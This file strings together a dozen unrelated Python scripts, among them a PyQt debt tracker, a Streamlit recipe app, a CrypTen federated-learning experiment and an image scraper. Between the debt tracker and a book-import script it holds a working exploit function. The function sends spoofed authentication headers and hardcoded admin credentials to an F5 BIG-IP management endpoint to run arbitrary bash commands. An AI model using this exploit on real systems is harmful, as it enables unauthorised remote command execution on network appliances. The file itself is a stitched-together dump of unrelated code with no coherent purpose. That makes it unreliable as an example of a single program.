            if newEntryData[0] == '' or newEntryData[1] == '' or newEntryData[2] == '':
                msgBox = QMessageBox(parent=self)

                msgBox.setWindowTitle("Alert!")
                msgBox.setText("You must fill all the blanks.")
                msgBox.setStandardButtons(QMessageBox.Ok)

                msgBox.exec()
            else:
                name, debt, date = newEntryData
                try:
                    debt = float(debt)
                except Exception as err:
                    print("Error Message -> ", err)
                    msgBox = QMessageBox(parent=self)

                    msgBox.setWindowTitle("Alert!")
                    msgBox.setText("Debt must be numerical.")
                    msgBox.setStandardButtons(QMessageBox.Ok)

                    msgBox.exec()
                    return
                dbManager = DBManager()
                dbManager.addRow("debtUser2toUser1", name, debt, date)
                self.loadTables()
                self.calculateDebt("user2", debt)

    def action_btnChangeUser1Name(self):
        oldName = self.user1Name
        inputBox = MultipleInputDialog(parent=self, windowTitle="Rename", labelArr=[f"Change {oldName} to "])
        inputBox.exec()
        newName = inputBox.getResult()
        if newName:
            self.textDict["user1"] = newName
            with open("Data/texts.json", "w") as file:
                json.dump(self.textDict, file)

            self.initTexts()
            self.netDebt()

    def action_btnChangeUser2Name(self):
        oldName = self.user2Name
        inputBox = MultipleInputDialog(parent=self, windowTitle="Rename", labelArr=[f"Change {oldName} to "])
        inputBox.exec()
        newName = inputBox.getResult()
        if newName:
            self.textDict["user2"] = newName
            with open("Data/texts.json", "w") as file:
                json.dump(self.textDict, file)

            self.initTexts()
            self.netDebt()

    def action_btnDeleteEntryUser1(self):
        table = self.uiManager.tableUser1toUser2
        selectedItems = table.selectedItems()
        if not selectedItems:
            alertBox = QMessageBox(parent=self)

            alertBox.setText("There is no selected item.")
            alertBox.setWindowTitle("Alert")
            alertBox.setStandardButtons(QMessageBox.Ok)

            alertBox.exec()
            return
        selectedItemRow = selectedItems[0].row()
        rowValues = [table.item(selectedItemRow, 0), table.item(selectedItemRow, 1), table.item(selectedItemRow, 2), table.item(selectedItemRow, 3)]

        messageBox = QMessageBox(parent=self)

        messageBox.setWindowTitle("Deleting Item")
        text = f"Are you sure want to delete this entry ?\nName: {rowValues[1].text()}\nDebt: {rowValues[2].text()}\nDate: {rowValues[3].text()}"
        messageBox.setText(text)
        messageBox.setStandardButtons(QMessageBox.Yes | QMessageBox.No)

        response = messageBox.exec()
        if response == QMessageBox.Yes:
            dbManager = DBManager()
            dbManager.deleteRow("debtUser1toUser2", rowValues[0].text())

            self.calculateDebt("user1", -float(rowValues[2].text()))
            self.uiManager.tableUser1toUser2.removeRow(selectedItemRow)

    def action_btnDeleteEntryUser2(self):
        table = self.uiManager.tableUser2toUser1
        selectedItems = table.selectedItems()
        if not selectedItems:
            alertBox = QMessageBox(parent=self)

            alertBox.setText("There is no selected item.")
            alertBox.setWindowTitle("Alert")
            alertBox.setStandardButtons(QMessageBox.Ok)

            alertBox.exec()
            return
        selectedItemRow = selectedItems[0].row()
        rowValues = [table.item(selectedItemRow, 0), table.item(selectedItemRow, 1), table.item(selectedItemRow, 2), table.item(selectedItemRow, 3)]

        messageBox = QMessageBox(parent=self)

        messageBox.setWindowTitle("Deleting Item")
        text = f"Are you sure want to delete this entry ?\nName: {rowValues[1].text()}\nDebt: {rowValues[2].text()}\nDate: {rowValues[3].text()}"
        messageBox.setText(text)
        messageBox.setStandardButtons(QMessageBox.Yes | QMessageBox.No)

        response = messageBox.exec()
        if response == QMessageBox.Yes:
            dbManager = DBManager()
            dbManager.deleteRow("debtUser2toUser1", rowValues[0].text())

            self.calculateDebt("user2", -float(rowValues[2].text()))
            self.uiManager.tableUser2toUser1.removeRow(selectedItemRow)

    def action_tableUser1toUser2CellDoubleClicked(self):
        table = self.uiManager.tableUser1toUser2
        selectedItems = table.selectedItems()
        selectedItemsRow = selectedItems[0].row()

        inputBox = MultipleInputDialog(parent=self, windowTitle="Editing an entry", labelArr=["Name:", "Debt:", "Date:"])
        inputBox.lineEdits[0].setText(selectedItems[0].text())
        inputBox.lineEdits[1].setText(selectedItems[1].text())
        inputBox.lineEdits[2].setText(selectedItems[2].text())
        inputBox.exec()
        response = inputBox.getResult()
        if len(response) == 3 and (response[0] == '' or response[1] == '' or response[2] == ''):
            msgBox = QMessageBox(parent=self)

            msgBox.setWindowTitle("Alert!")
            msgBox.setText("You must fill all the blanks.")
            msgBox.setStandardButtons(QMessageBox.Ok)

            msgBox.exec()
            return
        elif response:
            try:
                response[1] = float(response[1])
                response[1] = str(response[1])
            except Exception as err:
                print("Error Message -> ", err)
                msgBox = QMessageBox(parent=self)

                msgBox.setWindowTitle("Alert!")
                msgBox.setText("Debt must be numerical.")
                msgBox.setStandardButtons(QMessageBox.Ok)

                msgBox.exec()
                return
            ID = table.item(selectedItemsRow, 0).text()
            debtDiff = float(response[1]) - float(selectedItems[1].text())

            dbManager = DBManager()
            dbManager.editRow("debtUser1toUser2", ID, [response[0], response[1], response[2]])
            table.setItem(selectedItemsRow, 1, QTableWidgetItem(response[0]))
            table.setItem(selectedItemsRow, 2, QTableWidgetItem(response[1]))
            table.setItem(selectedItemsRow, 3, QTableWidgetItem(response[2]))
            self.calculateDebt("user1", debtDiff)

    def action_tableUser2toUser1CellDoubleClicked(self):
        table = self.uiManager.tableUser2toUser1
        selectedItems = table.selectedItems()
        selectedItemsRow = selectedItems[0].row()

        inputBox = MultipleInputDialog(parent=self, windowTitle="Editing an entry", labelArr=["Name:", "Debt:", "Date:"])
        inputBox.lineEdits[0].setText(selectedItems[0].text())
        inputBox.lineEdits[1].setText(selectedItems[1].text())
        inputBox.lineEdits[2].setText(selectedItems[2].text())
        inputBox.exec()
        response = inputBox.getResult()
        if len(response) == 3 and (response[0] == '' or response[1] == '' or response[2] == ''):
            msgBox = QMessageBox(parent=self)

            msgBox.setWindowTitle("Alert!")
            msgBox.setText("You must fill all the blanks.")
            msgBox.setStandardButtons(QMessageBox.Ok)

            msgBox.exec()
            return
        elif response:
            try:
                response[1] = float(response[1])
                response[1] = str(response[1])
            except Exception as err:
                print("Error Message -> ", err)
                msgBox = QMessageBox(parent=self)

                msgBox.setWindowTitle("Alert!")
                msgBox.setText("Debt must be numerical.")
                msgBox.setStandardButtons(QMessageBox.Ok)

                msgBox.exec()
                return
            ID = table.item(selectedItemsRow, 0).text()

            debtDiff = float(response[1]) - float(selectedItems[1].text())

            dbManager = DBManager()
            dbManager.editRow("debtUser2toUser1", ID, [response[0], response[1], response[2]])
            table.setItem(selectedItemsRow, 1, QTableWidgetItem(response[0]))
            table.setItem(selectedItemsRow, 2, QTableWidgetItem(response[1]))
            table.setItem(selectedItemsRow, 3, QTableWidgetItem(response[2]))
            self.calculateDebt("user2", debtDiff)

    def action_btnClearTable1(self):
        if self.uiManager.tableUser1toUser2.rowCount() == 0:
            QMessageBox.warning(
                self,
                "No Data to Clear",
                "There is no data to clear in table 1",
                QMessageBox.Ok,
                QMessageBox.Ok
            )
            return
        else:
            alertBox = QMessageBox.warning(
                self,
                "ALERT !!",
                "ARE YOU SURE TO DELETE ALL THE DATA FROM TABLE 1 ?",
                QMessageBox.Yes | QMessageBox.No,
                QMessageBox.No
            )
            if alertBox == QMessageBox.Yes:
                dbManager = DBManager()
                dbManager.deleteRow("debtUser1ToUser2")
                self.loadTables()
                self.calculateDebt("user1", -(self.textDict["debtFromUser1ToUser2"]))

    def action_btnClearTable2(self):
        if self.uiManager.tableUser2toUser1.rowCount() == 0:
            QMessageBox.warning(
                self,
                "No Data to Clear",
                "There is no data to clear in table 2",
                QMessageBox.Ok,
                QMessageBox.Ok
            )
            return
        else:
            alertBox = QMessageBox.warning(
                self,
                "ALERT !!",
                "ARE YOU SURE TO DELETE ALL THE DATA FROM TABLE 2 ?",
                QMessageBox.Yes | QMessageBox.No,
                QMessageBox.No
            )
            if alertBox == QMessageBox.Yes:
                dbManager = DBManager()
                dbManager.deleteRow("debtUser2ToUser1")
                self.loadTables()
                self.calculateDebt("user2", -(self.textDict["debtFromUser2ToUser1"]))

def runApp():
    myApp = QtWidgets.QApplication(sys.argv)
    myWindow = DebtCalculator()
    myWindow.show()
    myApp.exec()

runApp()


import requests
import urllib3

urllib3.disable_warnings()

def exploit(target, command):
    url = f"https://{target}/mgmt/tm/util/bash"
    headers = {
        "Host": "127.0.0.1",
        "Authorization": "Basic YWRtaW46aG9yaXpvbjM=",
        "X-F5-Auth-Token": "asdf",
        "Connection": "X-F5-Auth-Token",
        "Content-Type": "application/json",
    }
    j = {"command": "run", "utilCmdArgs": "-c '{0}'".format(command)}
    response = requests.post(url, headers=headers, json=j, verify=False, timeout=10)
    response.raise_for_status()  # raises exception when not a 2xx response
    if response.status_code != 204 and response.headers[
        "content-type"
    ].strip().startswith("application/json"):
        result = {"message": response.json()["commandResult"].strip()}
    else:
        result = {
            "message": "Response is empty! Target does not seems to be vulnerable.."
        }

    return result


import os
import csv

from sqlalchemy import create_engine
from sqlalchemy.orm import scoped_session, sessionmaker
import datetime

# check for environment varialbe
if not os.getenv("DATABASE_URL"):
    raise RuntimeError("DATABASE_URL is not set")

# set up database
engine = create_engine(os.getenv("DATABASE_URL"))
db = scoped_session(sessionmaker(bind=engine))

startTime = datetime.datetime.now()
print(f"starting actions at:{startTime}")

f = open("books.csv")
reader = csv.reader(f)
i = 1
endtime = None
for isbn, title, author, year in reader:

    i += 1
    endtime = datetime.datetime.now()

    if title == "title":
        print("Skipping 1st row")
    else:
        db.execute("INSERT INTO public.books (isbn, title, author, year) VALUES (:isbn, :title, :author, :year)", {
            "isbn": isbn, "title": title, "author": author, "year": year})
        print(f"{i} book added successfully at {endtime}")

db.commit()
timeDiff = endtime - startTime
timeDiffSeconds = timeDiff.seconds
print(f"Total time to complete action: {timeDiff} ")
print(f"Total time to complete action in seconds: {timeDiffSeconds} ")


import streamlit as st
import pandas as pd
from streamlit_option_menu import option_menu

df = pd.read_csv('RAW_recipes.csv')

@st.cache_data
def get_recipe_data(name):
    recipe_data = df.loc[df['name'] == name]
    if recipe_data.empty:
        return None

    recipe = {
        'name': name,
        'minutes': recipe_data['minutes'].values[0],
        'tags': recipe_data['tags'].values[0],
        'nutrition': recipe_data['nutrition'].values[0],
        'steps': recipe_data['steps'].values[0],
        'description': recipe_data['description'].values[0],
        'ingredients': recipe_data['ingredients'].values[0],
    }

    return recipe

name = None

if 'checked_ingredients' not in st.session_state:
    st.session_state.checked_ingredients = []  # Initialize the variable here

if 'username' not in st.session_state:
    st.session_state.username = ''

# Add navbar
navigation = option_menu('Navigation', options=['Home', 'BMI', 'Recipes', 'Search Ingredients', 'Shopping List'], orientation="horizontal")

# Use Streamlit container to stretch the navbar
with st.container():
    st.write('')
    st.write('')
    st.write(navigation)

# Rest of the code
st.write('Here you can find recipes and create an individual weekly plan. You can also determine your BMI and search for recipes based on ingredients. Then have a shopping list generated for you.')

st.header('Home')

st.text_input('Please enter your name', key='username')

# Display images
st.subheader('Featured Recipes')
col1, col2, col3 = st.columns(3)
with col1:
    st.image('amerikanische-pancakes.jpg', use_column_width=True, caption='Amerikanische Pancakes')
with col2:
    st.image('Teriyaki-chicken-bowls-8.jpg', use_column_width=True, caption='Teriyaki Chicken Bowls')
with col3:
    st.image('How-To-Make-Banana-Ice-Cream-071220172061.jpg.webp', use_column_width=True, caption='Banana Ice Cream')

if navigation == 'BMI':
    if st.session_state.username != '':
        st.header(f'BMI Calculator for {st.session_state.username}')
    else:
        st.header('BMI Calculator')

    def calculate_bmi(weight, height):
        bmi = weight / (height ** 2)
        return round(bmi, 2)

    st.write('Please enter your weight and height to calculate your BMI.')
    weight = st.number_input('Weight (in kg)')
    height = st.number_input('Height (in meters)')
    if weight > 0 and height > 0:
        bmi = calculate_bmi(weight, height)
        st.write('Your BMI:', bmi)
        st.write('Interpretation:')
        if bmi < 18.5:
            st.write('Underweight')
        elif 18.5 <= bmi < 25:
            st.write('Normal weight')

if navigation == 'Recipes':
    if st.session_state.username != '':
        st.header(f'Recipes for {st.session_state.username}')
    else:
        st.header('Recipes')

    page = st.number_input('Page', min_value=1, step=1, value=1)
    start_idx = (page - 1) * 100
    end_idx = start_idx + 100
    st.dataframe(df.iloc[start_idx:end_idx])

if navigation == 'Search Ingredients':
    if st.session_state.username != '':
        st.header(f'Search Ingredients for {st.session_state.username}')
    else:
        st.header('Search Ingredients')

    ingredient = st.text_input('Enter an ingredient')
    if st.button('Search'):
        filtered_data = filter_recipes_by_ingredient(ingredient)
        st.dataframe(filtered_data)

if navigation == 'Shopping List':
    st.header('Shopping List')
    selected_recipes = st.multiselect('Select recipes:', df['name'].tolist())
    if selected_recipes:
        ingredients_list = []
        for recipe_name in selected_recipes:
            recipe = get_recipe_data(recipe_name)
            if recipe is not None:
                ingredients = recipe['ingredients']
                ingredients_list.extend(ingredients.split(','))
        ingredients_list = [ingredient.strip() for ingredient in ingredients_list]
        ingredients_list = list(set(ingredients_list))  # Remove duplicates
        checked_ingredients = st.multiselect('Check off ingredients:', ingredients_list, format_func=lambda x: f"[x] {x}" if x in st.session_state.checked_ingredients else f"[ ] {x}")
        st.write('Generated Shopping List:')
        for ingredient in ingredients_list:
            if ingredient in checked_ingredients:
                st.write('- [x] ' + ingredient)
            else:
                st.write('- [ ] ' + ingredient)
    else:
        st.write('No recipes selected. Please choose at least one recipe to generate the shopping list.')
if navigation == 'Weekly Meal Plan':

    if st.session_state.username != '' :
        st.header('Weekly Meal Plan for '  + st.session_state.username)
        st.session_state['username'] = st.session_state.username
    else:
        st.header('Weekly Meal Plan')

    days_of_week = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday']
    selected_recipes = {}
    for day in days_of_week:
        recipe_name = st.selectbox(f'Select a recipe for {day}:', [''] + df['name'].tolist(), key=f'recipe_{day}')
        selected_recipes[day] = recipe_name
    st.write('Selected Recipes:')
    for day, recipe_name in selected_recipes.items():
        st.subheader(day)
        if recipe_name:
            recipe = get_recipe_data(recipe_name)
            if recipe is None:
                st.write('Recipe not found.')
            else:
                st.write('Name:', recipe['name'])
                st.write('Minutes:', recipe['minutes'])
                st.write('Tags:', recipe['tags'])
                st.write('Nutrition:', recipe['nutrition'])
                st.write('Steps:', recipe['steps'])
                st.write('Description:', recipe['description'])
                st.write('Ingredients:', recipe['ingredients'])
        else:
            st.write('No recipe selected for this day.')

# Add feedback button at the bottom of the page
st.markdown(
    """

    """,
    unsafe_allow_html=True
)

st.markdown(
    """

        <button onclick="document.getElementById('feedback-modal').style.display = 'block'"">Feedback</button>

    """,
    unsafe_allow_html=True
)

# Add feedback modal
st.markdown(
    """

        <button onclick="document.getElementById('feedback-modal').style.display = 'block'"">Feedback</button>

    """,
    unsafe_allow_html=True
)


import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import torch
import torch.nn as nn
import torch.nn.functional as F
import crypten
import crypten.mpc as mpc
import crypten.communicator as comm
from torch.utils.data import DataLoader, Dataset, random_split
import pandas as pd
from sklearn.preprocessing import StandardScaler
from torchmetrics.classification import BinaryAccuracy
import sys

class SepsisDataset(Dataset):
    def __init__(self, data_size):
        file_out = pd.read_csv('sepsis/sepsis_data/sepsis_survival_primary_cohort.csv')
        x = file_out.iloc[1:(data_size+1), 0:3].values
        y = file_out.iloc[1:(data_size+1), 3].values

        # feature scaling
        sc = StandardScaler()
        x_train = sc.fit_transform(x)
        y_train = y

        # convert to tensors
        self.X_train = torch.tensor(x_train, dtype=torch.float32)
        self.y_train = torch.tensor(y_train, dtype=torch.float32)

    def __len__(self):
        return len(self.y_train)

    def __getitem__(self, idx):
        return self.X_train[idx], self.y_train[idx]

class ClientDataset(Dataset):
    def __init__(self, x_train, y_train):
        # convert to tensors
        self.X_train = x_train
        self.y_train = y_train

    def get_batch(self, idx, batch_size=10):
        X = self.X_train[idx*batch_size:(idx+1)*batch_size]
        y = self.y_train[idx*batch_size:(idx+1)*batch_size]
        return (X, y)

    def __len__(self):
        return len(self.y_train)

    def __getitem__(self, idx):
        return self.X_train[idx], self.y_train[idx]

def split_data_loaders(data):
    train_dataset, test_dataset = random_split(data, [int(len(data) * 0.9), int(len(data) * 0.1)])
    train_loader = DataLoader(train_dataset, batch_size=10, shuffle=True)
    test_loader = DataLoader(test_dataset, batch_size=10, shuffle=True)
    return (train_loader, test_loader)

class FederatedNet(nn.Module):
    def __init__(self):
        super().__init__()
        self.fc1 = nn.Linear(3, 5)
        self.fc2 = nn.Linear(5, 5)
        self.fc3 = nn.Linear(5, 5)
        self.fc4 = nn.Linear(5, 1)
        self.track_layers = {'fc1': self.fc1, 'fc2': self.fc2, 'fc3': self.fc3, 'fc4': self.fc4}

    def forward_client(self, x_batch):
        x = F.relu(self.fc1(x_batch))
        x = F.relu(self.fc2(x))
        return x

    def forward_server(self, x):
        x = F.relu(self.fc3(x))
        x = torch.sigmoid(self.fc4(x).view(-1, 10))
        return x

    # return the dictionary of the layers
    def get_track_layers(self):
        return self.track_layers

    # sets each layer's weight and bias to the weight and bias given as argument
    def apply_parameters(self, parameters_dict):
        with torch.no_grad():
            for layer_name in parameters_dict:
                self.track_layers[layer_name].weight.data *= 0
                self.track_layers[layer_name].bias.data *= 0
                self.track_layers[layer_name].weight.data += parameters_dict[layer_name]['weight']
                self.track_layers[layer_name].bias.data += parameters_dict[layer_name]['bias']

    def apply_parameters_server(self, parameters_dict):
        with torch.no_grad():
            layers = ['fc1', 'fc2']
            for layer_name in layers:
                self.track_layers[layer_name].weight.data *= 0
                self.track_layers[layer_name].bias.data *= 0
                self.track_layers[layer_name].weight.data += parameters_dict[layer_name]['weight'].get_plain_text()
                self.track_layers[layer_name].bias.data += parameters_dict[layer_name]['bias'].get_plain_text()

    # returns a parameter dictionary for each layer
    # dictionary is of the form {"weight": w, "bias": b}
    def get_parameters(self):
        parameters_dict = dict()
        for layer_name in self.track_layers:
            parameters_dict[layer_name] = {
                'weight': self.track_layers[layer_name].weight.data,
                'bias': self.track_layers[layer_name].bias.data
            }
        return parameters_dict

    def evaluate(self, dataset):
        losses = []
        accs = []
        loss_criterion = torch.nn.BCELoss()
        metric = BinaryAccuracy()
        with torch.no_grad():
            for batch in dataset:
                X, y = batch
                client_out = self.forward_client(X)
                server_out = self.forward_server(client_out)

                y = torch.unsqueeze(y, 0)
                loss = loss_criterion(server_out, y)

                with torch.no_grad():
                    acc = metric(server_out, y)

                losses.append(loss)
                accs.append(acc)
        avg_loss = torch.stack(losses).mean().item()
        avg_acc = torch.stack(accs).mean().item()
        return (avg_loss, avg_acc)

class Client:
    def __init__(self, client_id, dataset, net):
        self.client_id = client_id
        self.dataset = dataset
        self.net = net

    # returns the data size
    def get_dataset_size(self):
        return len(self.dataset)

    # returns the client id
    def get_client_id(self):
        return self.client_id

    def train(self, global_params, data_idx):
        self.net.apply_parameters(global_params)
        X, y = self.dataset.get_batch(data_idx, batch_size)
        x = self.net.forward_client(X)
        return (x, y, self.net.get_parameters())

crypten.init()
torch.set_num_threads(1)
num_clients = int(sys.argv[1])

SIZE = 1000
client_data_size = SIZE//num_clients
batch_size = 10

# data stuff
sepsis = SepsisDataset(SIZE)

client_datasets = [ClientDataset(sepsis.X_train[i*(client_data_size):(i+1)*client_data_size], sepsis.y_train[i:i+client_data_size]) for i in range(num_clients)]

train, test = split_data_loaders(sepsis)

print(len(client_datasets[0]))

client = [Client('client_' + str(i), client_datasets[i], FederatedNet()) for i in range(num_clients)]

@mpc.run_multiprocess(world_size=num_clients)
def secret_share():

    global_net = FederatedNet()

    epochs = 50

    for epoch in range(epochs):
        avg_acc = []
        losses = []
        for idx in range(client_data_size//batch_size):

            global_params = global_net.get_parameters()
            # for cl in client:
            #     cl.apply_parameters(global_params)

            x = []
            y = []
            client_params = []
            # 1. train 2 layers on client side
            for i in range(num_clients):
                output, labels, params = client[i].train(global_params, idx)
                x.append(output)
                y.append(labels)
                client_params.append(params)

            # for i in range(num_clients):
            #     x.append(client[i].forward_client(X))

            sum_clients = x[0]
            for i in range(1, num_clients):
                sum_clients += x[i]

            sum_clients /= num_clients
            sum_clients = F.relu(sum_clients)

            # 2. grab the weights and biases from each client and secret share them with the server
            layer1_weights = []
            layer1_bias = []
            layer2_weights = []
            layer2_bias = []

            for cl in client_params:
                layer1_weights.append(cl['fc1']['weight'])
                layer1_bias.append(cl['fc1']['bias'])
                layer2_weights.append(cl['fc2']['weight'])
                layer2_bias.append(cl['fc2']['bias'])

            for i in range(num_clients):
                layer1_weights[i] = crypten.cryptensor(layer1_weights[i], src=i)
                layer1_bias[i] = crypten.cryptensor(layer1_bias[i], src=i)
                layer2_weights[i] = crypten.cryptensor(layer2_weights[i], src=i)
                layer2_bias[i] = crypten.cryptensor(layer2_bias[i], src=i)

            # 3. average each weight and bias recieved from the client
            layer1_weights_total = layer1_weights[0]
            layer1_bias_total = layer1_bias[0]
            layer2_weights_total = layer2_weights[0]
            layer2_bias_total = layer2_bias[0]

            for i in range(1, num_clients):
                layer1_weights_total += layer1_weights[i]
                layer1_bias_total += layer1_bias[i]
                layer2_weights_total += layer2_weights[i]
                layer2_bias_total += layer2_bias[i]

            layer1_weights_total /= comm.get().get_world_size()
            layer1_bias_total /= comm.get().get_world_size()
            layer2_weights_total /= comm.get().get_world_size()
            layer2_bias_total /= comm.get().get_world_size()

            # 4. update the global weight and biases with the averaged parameters
            curr_parameters = global_net.get_parameters()
            new_parameters = dict([(layer_name, {'weight': 0, 'bias': 0}) for layer_name in curr_parameters])

            client_parameters = dict([(layer_name, {'weight': 0, 'bias': 0}) for layer_name in curr_parameters])

            client_parameters['fc1']['weight'] = layer1_weights_total
            client_parameters['fc1']['bias'] = layer1_bias_total
            client_parameters['fc2']['weight'] = layer2_weights_total
            client_parameters['fc2']['bias'] = layer2_bias_total

            for layer_name in client_parameters:
                new_parameters[layer_name]['weight'] = client_parameters[layer_name]['weight']
                new_parameters[layer_name]['bias'] = client_parameters[layer_name]['bias']

            global_net.apply_parameters_server(new_parameters)

            # 5. continue training the global model for the last 2 layers
            output = global_net.forward_server(sum_clients)

            # crypten.print(global_params)
            global_params = global_net.get_parameters()
            # crypten.print(global_params)

            for i in range(num_clients):
                crypten.print(f'before {client[i].net.get_parameters()}')
                client[i].net.apply_parameters(global_params)
                crypten.print(f'after {client[i].net.get_parameters()}')

            # 6. send back to clients and do backprop
            optimizer = torch.optim.SGD(global_net.parameters(), lr=0.005, momentum=0.9, weight_decay=1e-6)
            loss_criterion = torch.nn.BCELoss()
            metric = BinaryAccuracy()

            outs = []
            for i in range(num_clients):
                outs.append(output)

            for i in range(num_clients):
                y[i] = torch.unsqueeze(y[i], 0)
                loss = loss_criterion(outs[i], y[i])
                loss.backward()
                optimizer.step()
                optimizer.zero_grad()
                loss.detach()
                with torch.no_grad():
                    accuracy = metric(outs[i], y[i])
                    avg_acc.append(accuracy)

                losses.append(loss)

            # 7. update the parameters for the client

        avg_loss = torch.stack(losses).mean().item()
        avg_accuracy = torch.stack(avg_acc).mean().item()

        crypten.print(f'Epoch {epoch+1} accuracy: {round(avg_accuracy, 5)}, Loss: {round(avg_loss, 5)}')

    crypten.print('Evaluating global model...')
    avg_loss, avg_acc = global_net.evaluate(test)
    crypten.print(f'avg_loss {avg_loss}, avg_acc {avg_acc}')

# print(f'Before : {layer1_weights}')
shares = secret_share()
print(shares)

# 8. repeat


import os
from distutils.core import setup
from distutils.extension import Extension
from Cython.Build import cythonize

PXD_include = os.environ['PYCPPTRAJ_HOME'] + "/PXD/"
cpptraj_include = os.environ['AMBERHOME'] + "/AmberTools/src/cpptraj/src/"

setup(
      ext_modules = cythonize([
          Extension("*", ["*.pyx",],
                    libraries=['cpptraj'],
                    library_dirs=[cpptraj_include,],
                    include_dirs=[PXD_include, cpptraj_include])
          ])
     )


import rdflib
import requests
import os

# Put the repository URL from Graph DB here
repo_url = "http://192.168.1.106:7200/repositories/tinyml2022_v2"
file_name = "tflite_models.ttl"
file_path = os.path.join(os.getcwd(), "semantic_schema", file_name)
url = repo_url + "/statements"
headers = {'Content-type': 'text/turtle',}

######## 1. If the ttl file is serialized by rdflib ########
# g = rdflib.Graph()
# # Specific which ttl file is to be pushed to the Graph DB
# g.parse(file_path)
# # print(g.serialize(format='turtle').decode())
# # Use a request to post the ttl to Graph DB
# response = requests.post(url, headers=headers, data=g.serialize(format='turtle'))
# g.close()

######## 2. If the ttl file is just in a plain text format ########
with open(file_path, 'r') as f:
    # Use a request to post the ttl to Graph DB
    response = requests.post(url, headers=headers, data=f.read())


from urllib.parse import urlencode

from django import template

from drf_user_activity_tracker_mongodb.utils import CustomPaginator

register = template.Library()

@register.simple_tag
def under_score_tag(obj, attribute):
    obj = dict(obj)
    return obj.get(attribute)

@register.simple_tag
def clean_url_encode(data, remove):
    attrs = data.copy()
    if remove in data:
        attrs.pop(remove)
    return urlencode(attrs)

@register.simple_tag
def get_proper_elided_page_range(p, count, number, on_each_side=3, on_ends=2):
    paginator = CustomPaginator(p.dataset, count, p.per_page)
    return paginator.get_elided_page_range(number=number,
                                           on_each_side=on_each_side,
                                           on_ends=on_ends)


import os
import boto3
import wget
import json
import sys
import numpy as np
from cv2 import imread, resize, IMREAD_GRAYSCALE

stack_name = sys.argv[1]
commit_id = sys.argv[2]
endpoint_name = f"{stack_name}-{commit_id[:7]}"

runtime = boto3.client("runtime.sagemaker")

s3 = boto3.resource('s3')
s3_bucket, s3_key = 'ml-sa-book', 'sample_9.png'

img = s3.Bucket(s3_bucket).download_file(s3_key, 'test.png')
test_file = "test.png"

#IMAGE_URL = "https://aws-mlops-samples.s3-eu-west-1.amazonaws.com/mnist_output_10.png"
#IMAGE_URL = "https://test-mlops-bucket-118.s3.amazonaws.com/sample_9.png"
#test_file = "test.jpg"
#wget.download(
#    IMAGE_URL,
#    test_file,
#)

image = imread(test_file, IMREAD_GRAYSCALE)
image = resize(image, (28, 28))
image = image.astype("float32")
image = image.reshape(1, 1, 28, 28)

payload = json.dumps(image.tolist())
response = runtime.invoke_endpoint(
    EndpointName=endpoint_name, Body=payload, ContentType="application/json"
)

result = response["Body"].read()
result = json.loads(result.decode("utf-8"))
print(f"Probabilities: {result}")

np_result = np.asarray(result)
prediction = np_result.argmax(axis=1)[0]
print(f"This is your number: {prediction}")

if prediction != 5:
    print("Model prediction failed.")
    sys.exit(1)

if os.path.exists(test_file):
    os.remove(test_file)
else:
    print("The file does not exist")


from PIL import Image
import pytesseract

# If you don't have tesseract executable in your PATH, include the following:
pytesseract.pytesseract.tesseract_cmd = r'C:/Program Files/Tesseract-OCR/tesseract.exe'
# Example tesseract_cmd = r'C:\Program Files (x86)\Tesseract-OCR\tesseract'

image = Image.open('Untitled.jpg')
# Example of adding any additional options
custom_oem_psm_config = r'--psm 6 -l eng -c tessedit_char_whitelist="ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789"'
result = pytesseract.image_to_string(image, config=custom_oem_psm_config)

print(result)


import requests
import os
import re

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36'
    }

ex = '
.*?<img src="(.*?)" alt.*?
'

if not os.path.exists('C:\\Users\\未央\\Desktop\\糗图'):
        os.mkdir('C:\\Users\\未央\\Desktop\\糗图')

for no in range(1,14):

    URL = 'https://www.qiushibaike.com/imgrank/' + 'page/' + str(no) + '/'

    res = requests.get(url = URL, headers = headers).text #返回网页的html文件
    img_src = re.findall(ex, res, re.S)

    if not os.path.exists('C:\\Users\\未央\\Desktop\\糗图\\page ' + str(no)):
        os.mkdir('C:\\Users\\未央\\Desktop\\糗图\\page ' + str(no))

    for img in img_src:
        addr = 'https:' + img
        print(addr)
        res = requests.get(url = addr, headers = headers).content #获取每张图片的地址
        #生成图片名称
        img_name = img.split('/')[-1]
        img_path = 'C:\\Users\\未央\\Desktop\\糗图\\page ' + str(no) + '\\' + img_name

        with open(img_path, 'wb') as f:
            f.write(res)
    print('第' + str(no) + '页下载完成')


import logging
import os
import sys
import time
from math import *

logging.basicConfig(level=logging.INFO,
                    stream=sys.stdout,
                    format='[%(asctime)s] %(levelname)s:%(filename)s:%(message)s',
                    datefmt='%d/%m/%Y %H:%M:%S')
logger = logging.getLogger(__name__)
logger.info(__doc__.strip())

frame_interval = 60

pid = os.getpid()

logger.info("timelapse launched")

# Start time for time lapse sequence
time_next_frame = floor((time.time() + 10) / 10) * 10

# Make directory
dirname = "/tmp/pigazing_timelapse"
os.system("mkdir -p {}".format(dirname))
os.chdir(dirname)

frame_num = 1

while True:
    logger.info("Waiting for next exposure")
    wait = time_next_frame - time.time()
    if wait > 0:
        time.sleep(wait)

    # Filename
    filename = "frame{:06d}.jpg".format(frame_num)
    while True:
        if os.path.exists(filename):
            frame_num += 1
            filename = "frame{:06d}.jpg".format(frame_num)
        else:
            break

    # Take exposure
    logger.info("Taking photo")
    os.system("rm -f tmp.jpg")
    os.system("./snapshot.sh --output tmp.png --frames 500")
    os.system("convert tmp.png -background black -rotate -180 tmp2.jpg")
    os.system("convert tmp2.jpg -gravity South -background Green -splice 0x26 -pointsize 16 -font Ubuntu-Bold "
              "-annotate +0+2 '{}' {}".format(time.strftime("%b %d %Y %H:%M:%S", time.gmtime(time.time())),
                                              filename))

    # Use ffmpeg to make a time lapse video. Can't do this inside the loop if we intend to observe for a very
    # long time, as otherwise it takes more than a minute to do this encoding after each frame...
    os.system("rm -f /tmp/pigazing_timelapse.mp4")
    os.system("ffmpeg -r 10 -i frame%06d.jpg -codec:v libx264 /tmp/pigazing_timelapse.mp4")

    time_next_frame += frame_interval


from PIL import Image, ImageTk, ImageFilter
import tkinter as tk
from tkinter import filedialog as fd

im = None
tk_img = None

# 파일 메뉴에서 “열기”를 선택하였을 때 호출되는 함수
def open():
    global im, tk_img, xsize, ysize
    fname = fd.askopenfilename()
    im = Image.open(fname)
